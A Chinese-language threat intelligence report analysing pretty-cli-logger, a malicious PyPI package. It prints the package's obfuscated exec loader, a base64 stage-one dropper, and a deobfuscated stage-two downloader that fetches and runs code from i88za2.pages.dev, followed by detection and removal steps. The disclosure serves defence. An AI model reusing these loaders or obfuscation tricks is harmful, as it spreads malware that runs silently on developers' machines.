SBOM情报概述
Summary
近日(2025.04.27),悬镜供应链安全情报中心在Pypi官方仓库中捕获一起伪装终端命令行日志记录功能的开源投毒组件 pretty-cli-logger 。该组件利用多阶段代码混淆实施远程恶意代码攻击。
pretty-cli-logger 项目主页
投毒者在 pretty-cli-logger 组件1.1.1和1.1.2两个版本代码文件 colors.py 中植入混淆代码, 一旦安装该组件则会静默触发执行恶意代码,主要功能是将组件包中内置的第一阶段和第二阶段混淆恶意代码解压还原后执行,第二阶段恶意代码进一步判断操作系统类型(Windows及Mac)并从投毒者服务器拉取执行针对不同类型系统投放的第三阶段攻击代码。
该恶意组件已被Pypi官方下架处理,截止目前其官方仓库总下载量为3264次。
pretty-cli-logger 官方仓库下载量
投毒分析
Poisoning Analysis
1
代码混淆
以 pretty-cli-logger 组件最新版本1.1.2为例,编码压缩后的第一阶段混淆恶意代码被内嵌在代码文件pretty_cli_logger/colors.py的colors数组中,update_colors() 函数负责对混淆代码进行解码解压还原后并执行第一阶段恶意代码。
内嵌混淆恶意代码及update_colors恶意函数
update_colors() 函数代码如下所示,主要利用字符串变换及python globals特性来加载并调用exec命令执行接口,以此逃避静态代码分析检测。
def update_colors(n):
if n != 1: return
vLj1Sf = getattr
v3i4FD = globals()["__&s&n&i&tl&i&u&b_&_"[::-1].replace("&", "")]
vbD7yz = vLj1Sf(v3i4FD, "__#tr#op#mi_#_"[::-1].replace("#", ""))
vJwm81 = vLj1Sf(vbD7yz("46es(ab"[::-1].replace("(", "")), "e$do$c$ed$4$6b$"[::-1].replace("$", ""))
vkm0o4 = vLj1Sf(vbD7yz("b)i)lz"[::-1].replace(")", "")), "s*serpm*o*c*ed*"[::-1].replace("*", ""))
v4inc8 = vLj1Sf(vbD7yz("s*nit*li*u*b*"[::-1].replace("*", "")), "ce^xe^"[::-1].replace("^", ""))
v4inc8(vkm0o4(vJwm81("".join(colors)[::-1].replace("*", ""))))
update_colors() 函数代码还原后如下,利用python builtins内置模块间接加载 base64 及 zlib 模块,并对 colors 数组中内嵌的恶意代码进行解码解压,并最终调用exec函数执行代码。
def update_colors(n):
if n != 1: return
builtins = globals()['__builtins__']
_import = getattr(builtins, '__import__')
b64decode = getattr(_import('base64'), 'b64decode')
decompress = getattr(_import('zlib'), 'decompress')
exec = getattr(_import('builtins'), 'exec')
exec(decompress(b64decode("".join(colors)[::-1].replace("*", ""))))
第一阶段混淆恶意代码还原后如下所示,主要功能是将内嵌的base64编码的第二阶段恶意代码释放到系统临时目录下保存并执行。
D = "win32"
import sys, os, tempfile as E, base64 as F, sys, subprocess as A
def G(file, exe=""):
C = [
exe or sys.executable,
"-c",
f'import os, tempfile; exec(open(os.path.join(tempfile.gettempdir(), "{file}"), "rb").read())',
]
E = (
A.DETACHED_PROCESS | A.CREATE_NEW_PROCESS_GROUP | A.CREATE_NO_WINDOW
if sys.platform == D
else 0
)
B = A.DEVNULL
A.Popen(C, stdout=B, stderr=B, stdin=B, creationflags=E, start_new_session=True)
try:
if sys.platform not in [D, "darwin"]:
exit(0)
B = "n9zfux1j2"
C = os.path.join(E.gettempdir(), B)
if os.path.exists(C):
exit(0)
with open(C, "wb") as H:
H.write(
F.b64decode(
"CnZ3TmdBUyA9IGdldGF0dHIKdjJQR2VXID0gZ2xvYmFscygpWyJfX3NuKml0bGkqdWJfKl8iWzo6LTFdLnJlcGxhY2UoIioiLCAiIildCnZyajRqaCA9IHZ3TmdBUyh2MlBHZVcsICJfIV8hdCFyIW9wIW1pXyFfISJbOjotMV0ucmVwbGFjZSgiISIsICIiKSkKdm9nMkp0ID0gdndOZ0FTKHZyajRqaCgiNDZlc2FiQCJbOjotMV0ucmVwbGFjZSgiQCIsICIiKSksICJlZCpvKmMqZSpkNDYqYioiWzo6LTFdLnJlcGxhY2UoIioiLCAiIikpCnZGOTh5MCA9IHZ3TmdBUyh2cmo0amgoImIoaShseiJbOjotMV0ucmVwbGFjZSgiKCIsICIiKSksICJzJnMmZXImcCZtbyZjZWQmIls6Oi0xXS5yZXBsYWNlKCImIiwgIiIpKQp2TXc5UzYgPSB2d05nQVModnJqNGpoKCJzI25pI3RsI2kjdWIjIls6Oi0xXS5yZXBsYWNlKCIjIiwgIiIpKSwgImNleF5lXiJbOjotMV0ucmVwbGFjZSgiXiIsICIiKSkKdk13OVM2KHZGOTh5MCh2b2cySnQoIkJSaTRvLyFoNFVrMmk3WEFoRDdNRFdBalhhRTJCcTVzaWRsUiFkblZmIUI3NkVNZXF6UFAhWjgvZTNGMjBZTjc1OSFUTUZNdlVFTmV4MVA5WmFpOTFMK3N2SnFQT2JYb3o2bExkNmpRYWdqQ29sZ2EwVHRhUGEweiFRR3lvR252Q3BGYWRYWSF6eUNzOWVKMVJOUUQ1aWdzIXFyIXkwSlhtRSFWciFHVlZuMGIhY1BoSjNWQWQheiFLIUF4ZiF5YkNyYk9PViFmNjRHIXJ4dSs2N3YrdDU2NyFFUCF5UkFHSTRrVVghM1daeXg0YnJrTmRBWiFQZDF2ZCE0c1ByVXZmejkhbnhjWFkyUzQwditzTCE1TE56YkNMM1p2OTBQNSFaTTN0bSEwdDhrRjchdG1pWiFNVmovIVowUyErcHREc0l0ODh3WEhVTTRrUGVJITJXNHhjSyFCeFI0YkYxcEsvS3g5b0ZwQjMrSjghMEVmOC8zTVprcmVYM2xVZU9IZEtBQyFUOTY1IU4hQVlnODFXU0ZBIXNmb3Ntc1VLIUpHTSFNazNINjVCMWIheGVTIVBRIXoxYWpYdyFHTk9YL2whNGZSakFDVFdNYVQxciFoU0hzbFZGMTY2Q2haUFB1RSFOc0g1aFUhbUIhanFHUSFpdVgwIVBDIXF1QUNjR0xSWiFHQ1RrcFRmeWlpYWRoMUUhVlhMa3lKSTN5T0NSIUpaY3dLdit6WlEhKzYxMSFnZTNsUWghUWR6VWF0ZCFhIStYa2JURGF3IUMhcXMrRE4hOGhEUCtRZVdsVFF4SlNScjR2TVk5dGFPeVJxSUIxUCFDMmlvOUYhS3dxQW8hWFpzIW45K2RNRTlJIXlRQ1d3RzFObk1RQldydFZEa1FaQkUhRU5IMFYhUXNoSDJDUjM0YSE1eEVraUdRIXRwb2J3YzNZZSFXQXVqITJhNiE2UVR6IXBuZGxUU1RFemUvIW14IXZOelRKWHNkS3NzVFg5dDghQ0xOSDRSQyEzdiFxRlRiR3BWc21EWVVGViFDWVohZzBEVnVTM20yIURYbUJHaUwhdXcvZVQhUFFBejRQMWtVMXhKZSEiWzo6LTFdLnJlcGxhY2UoIiEiLCAiIikpKSk="
)
)
G(B)
except:
pass
释放到系统临时目录下的第二阶段恶意代码如下所示:
vwNgAS = getattr
v2PGeW = globals()["__sn*itli*ub_*_"[::-1].replace("*", "")]
vrj4jh = vwNgAS(v2PGeW, "_!_!t!r!op!mi_!_!"[::-1].replace("!", ""))
vog2Jt = vwNgAS(vrj4jh("46esab@"[::-1].replace("@", "")), "ed*o*c*e*d46*b*"[::-1].replace("*", ""))
vF98y0 = vwNgAS(vrj4jh("b(i(lz"[::-1].replace("(", "")), "s&s&er&p&mo&ced&"[::-1].replace("&", ""))
vMw9S6 = vwNgAS(vrj4jh("s#ni#tl#i#ub#"[::-1].replace("#", "")), "cex^e^"[::-1].replace("^", ""))
vMw9S6(vF98y0(vog2Jt("BRi4o/!h4Uk2i7XAhD7MDWAjXaE2Bq5sidlR!dnVf!B76EMeqzPP!Z8/e3F20YN759!TMFMvUENex1P9Zai91L+svJqPObXoz6lLd6jQagjColga0TtaPa0z!QGyoGnvCpFadXY!zyCs9eJ1RNQD5igs!qr!y0JXmE!Vr!GVVn0b!cPhJ3VAd!z!K!Axf!ybCrbOOV!f64G!rxu+67v+t567!EP!yRAGI4kUX!3WZyx4brkNdAZ!Pd1vd!4sPrUvfz9!nxcXY2S40v+sL!5LNzbCL3Zv90P5!ZM3tm!0t8kF7!tmiZ!MVj/!Z0S!+ptDsIt88wXHUM4kPeI!2W4xcK!BxR4bF1pK/Kx9oFpB3+J8!0Ef8/3MZkreX3lUeOHdKAC!T965!N!AYg81WSFA!sfosmsUK!JGM!Mk3H65B1b!xeS!PQ!z1ajXw!GNOX/l!4fRjACTWMaT1r!hSHslVF166ChZPPuE!NsH5hU!mB!jqGQ!iuX0!PC!quACcGLRZ!GCTkpTfyiiadh1E!VXLkyJI3yOCR!JZcwKv+zZQ!+611!ge3lQh!QdzUatd!a!+XkbTDaw!C!qs+DN!8hDP+QeWlTQxJSRr4vMY9taOyRqIB1P!C2io9F!KwqAo!XZs!n9+dME9I!yQCWwG1NnMQBWrtVDkQZBE!ENH0V!QshH2CR34a!5xEkiGQ!tpobwc3Ye!WAuj!2a6!6QTz!pndlTSTEze/!mx!vNzTJXsdKssTX9t8!CLNH4RC!3v!qFTbGpVsmDYUFV!CYZ!g0DVuS3m2!DXmBGiL!uw/eT!PQAz4P1kU1xJe!"[::-1].replace("!", ""))))
2
远程代码执行
第二阶段恶意代码混淆方式与第一阶段混淆一样,解压还原后如下所示,主要功能是从投毒者服务器(https://i88za2.pages.dev)上加载并执行第三阶段的攻击代码并释放到系统临时目录执行。
对于Windows系统,攻击者使用 https://i88za2.pages.dev/ei2ghzc.txt 进行远程恶意代码投放;对于MAC系统,投放地址使用 https://i88za2.pages.dev/msulzlw.txt 。
截止目前,攻击者并未在以上投放地址上存放恶意代码,猜测可能是在等候特定时机才会发动进一步攻击。
C='win32'
import sys,os,tempfile as D,urllib.request,ssl
defE(url):
try:
B=urllib.request.Request(url,headers={'user-agent':'curl/7.88.1','accept':'*/*'})
with urllib.request.urlopen(B,timeout=3,context=ssl._create_unverified_context()) as C: A=C.read()
iflen(A)==0:exit(0)
returnbytearray(A)
except:exit(0)
import sys,subprocess as A
defF(file,exe=''):D=[exe or sys.executable,'-c',f'import os, tempfile; exec(open(os.path.join(tempfile.gettempdir(), "{file}"), "rb").read())'];E=A.DETACHED_PROCESS|A.CREATE_NEW_PROCESS_GROUP|A.CREATE_NO_WINDOW if sys.platform==C else0;B=A.DEVNULL;A.Popen(D,stdout=B,stderr=B,stdin=B,creationflags=E,start_new_session=True)
try:
G='https://i88za2.pages.dev/ei2ghzc.txt'if sys.platform==C else'https://i88za2.pages.dev/msulzlw.txt';B='l6ssc1qwm'
withopen(os.path.join(D.gettempdir(),B),'wb')as H:H.write(E(G))
F(B)
except:pass
投毒者使用的域名服务器(i88za2.pages.dev)信息如下所示:
恶意域名信息
3
IoC 数据
本次捕获的Python投毒组件包涉及的IoC数据如下表所示:
排查方式
Investigation Method
开发者可通过命令 pip show pretty-cli-logger 快速排查是否误安装或引用该恶意py组件包。若已安装该恶意组件,请尽快通过命令 pip uninstall pretty-cli-logger -y 命令进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。
此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。
[
{
"product": "pretty-cli-logger",
"version": "[1.1.1, 1.1.2]",
"language": "python",
"id": "XMIRROR-MAL45-522FA25B",
"description": "pretty-cli-logger 组件存在代码投毒开展远程恶意代码攻击",
"release_date": "2025-04-27"
}
]
悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。